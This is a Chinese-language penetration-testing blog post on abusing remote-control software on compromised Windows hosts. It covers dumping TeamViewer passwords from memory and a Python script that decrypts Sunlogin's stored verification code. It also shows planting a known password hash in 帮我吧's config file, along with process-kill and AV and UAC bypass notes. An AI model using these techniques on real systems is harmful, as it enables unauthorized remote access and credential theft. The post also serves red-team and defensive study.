美文网首页中间件漏洞收集
内网渗透-远控类软件利用

内网渗透-远控类软件利用

作者: Tide_诺言 | 来源:发表于2021-07-08 16:14 被阅读0次

    简介

    对渗透中遇到的远控类软件的利用方式整理。

    靶机环境

    操作系统:windows server 2012
    中间件:tomcat
    杀软:卫士+杀毒
    默认权限:administrator

    Teamviewer

    实战中经常遇到的一款远控软件,用户数量高。
    可以通过ID和密码进行无人值守访问。

    进程信息:

    TeamViewer.exe
    tv_w32.exe
    tv_x64.exe
    

    内存getpass

    利用场景:拿到webshell权限,想上线cs,发现主机存在杀软,bypass失败。
    通过查看进程信息发现存在Teamviewer。



    管理员在线。



    上传工具读取密码。

    利用获取到的密码成功连接到目标主机的桌面。


    绿色版Teamviewer

    TeamViewer QuickSupport版



    首次运行需要同意协议。


    实战使用需要把首次运行同意协议步骤进行绕过,然后上传到目标主机运行,然后抓取密码连接,感兴趣的可以研究下。

    向日葵

    利用场景:查看进程发现存在向日葵,寻找配置文件,破解本机验证码,连接向日葵。

    进程信息:

    本机验证码读取

    向日葵在最近的更新中加强了加密机制,删除了config.ini中的encry_pwd(本机验证码)。

    v11.1.2.38529之前的版本,连接信息保存在配置文件中,可进行解密。
    向日葵默认配置文件路径:

    安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
    便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini
    

    解密脚本
    pip3 install unicorn

    import base64
    import struct
    
    from ConstCode import *
    
    
    class KeyBlock:
        __base = "%^$^GHsgjdsad24dffgjkdhw4"
    
        __key: bytes = None
    
        @staticmethod
        def new_block(sun_login_code: str = ""):
            if len(sun_login_code) > 31:
                raise Exception("invalid key")
            result = KeyBlock()
            temp = sun_login_code + result.__base
            size = struct.pack("<I", len(temp))
            for i in range(56 - len(temp)):
                temp += "\x00"
            result.__key = bytes(temp.encode() + size)
            return result
    
        def get_result(self) -> bytes:
            return self.__key
    
    
    class Init(Base):
        __key: bytes = None
    
        def __init__(self, key_block: KeyBlock):
            self.__key = key_block.get_result()
            super().__init__()
    
        def on_create(self):
            obj = self._get_handle()
            obj.mem_map(self._code_ptr, align(len(init_code)))
            obj.mem_write(self._code_ptr, init_code)
    
            obj.mem_map(self._data_ptr, 0x2000)
            obj.mem_write(self._data_ptr, bytes(self.__key))
            obj.reg_write(unicorn.x86_const.UC_X86_REG_RCX, self._data_ptr)
    
        def get_result(self) -> bytes:
            return bytes(self._get_handle().mem_read(self._data_ptr + 60, 0x2000 - 60))
    
    
    class Decrypt(Base):
        __save_ptr = 0x100000
    
        def __init__(self, encoded_data, box):
            self.__encoded_data = encoded_data
            self.__box = box
            super().__init__()
    
        def on_create(self):
            obj = self._get_handle()
            obj.mem_map(self._code_ptr, align(len(decrypt_code)))
            obj.mem_write(self._code_ptr, decrypt_code)
    
            obj.mem_map(self._data_ptr, 0x2000)
            obj.mem_write(self._data_ptr, self.__box)
            obj.reg_write(unicorn.x86_const.UC_X86_REG_RDX, self._data_ptr)
    
            obj.mem_map(self.__save_ptr, align(len(self.__encoded_data)))
            obj.mem_write(self.__save_ptr, self.__encoded_data)
            obj.reg_write(unicorn.x86_const.UC_X86_REG_R8, self.__save_ptr)
            obj.reg_write(unicorn.x86_const.UC_X86_REG_R9, int(len(self.__encoded_data) / 8))
    
        def get_result(self) -> bytes:
            return self._get_handle().mem_read(self.__save_ptr, len(self.__encoded_data))
    
    encry_pwd = 'rwOCS8ozdLo='
    
    
    print("解密成功: "+Decrypt(base64.b64decode(encry_pwd),
                  Init(KeyBlock.new_block('')).start()).start().decode())
    
    

    绿色版利用

    利用场景:
    1、杀软白名单策略,常规免杀方法无法绕过。
    2、存在流量设备,常规frp,nps,cs,reGeorg等被ban,无法带入内网。

    向日葵首次运行提示是否安装。



    需要鼠标点击以绿色版运行


    使用bypass方法绕过,上传SunloginClient.exe到靶机服务器运行。


    image.png

    查看绿色版配置文件
    C:\ProgramData\Oray\SunloginClient\config.ini

    encry_pwd=TB0W65ETAR4=
    fastcode=k165034706
    

    使用脚本破解encry_pwd



    识别码为:165034706
    密码为:LlOa4Z
    连接成功。


    帮我吧

    北京金万维科技有限公司开发的一款产品,分为客服端和客户端。
    可以通过设置连接密码进行无人值守访问。
    进程信息:

    UserClient.exe
    

    配置文件默认路径

    C:\GNWay\OSP\UserClient\config.ini
    

    uniqueid 为连接的id
    connect_password= 为设置的连接密码加密hash
    random_password= 为明文连接密码
    2个密码都可以连接使用

    默认安装后未设置连接密码,不支持无人值守访问。



    高版本

    特点:运行过程中动态加载配置文件
    利用方式:直接在配置文件中添加连接密码,进行无人值守访问。
    1、设置random_password=666666


    重新连接,输入设置的密码信息。



    连接成功。


    2、设置random_password
    本地搭建客户端,设置连接密码999999。



    查看本地配置文件中加密后的hash为
    connect_password=5eec351934af7678a852ade9efc74133



    修改目标主机的配置文件中的参数连接即可。
    connect_password为5eec351934af7678a852ade9efc74133

    低版本

    特点:只在开始运行时加载配置文件
    无random_password只能通过修改connect_password连接。
    利用方式:结束进程,修改配置文件,重新运行。
    1、结束进程

    taskkill /pid 84636  -t  -f
    

    2、修改配置文件内容
    connect_password为5eec351934af7678a852ade9efc74133(999999)
    3、重新启动即可用密码连接。

    坑点

    1、uac
    非server服务器运行向日葵需要bypass uac


    2、用户不在线的情况,需要密码登录。



    这个点导致利用起来比较鸡肋,适用于隧道流量无法绕过等一些极端情况,可以选择免杀读密码/免杀加用户然后登录。

    总结

    整理了最近遇到的几个内网远控存在利用的点,利用相对鸡肋,适用于某些极端情况下使用。

    相关文章

      网友评论

        本文标题:内网渗透-远控类软件利用

        本文链接:https://www.haomeiwen.com/subject/jnpbultx.html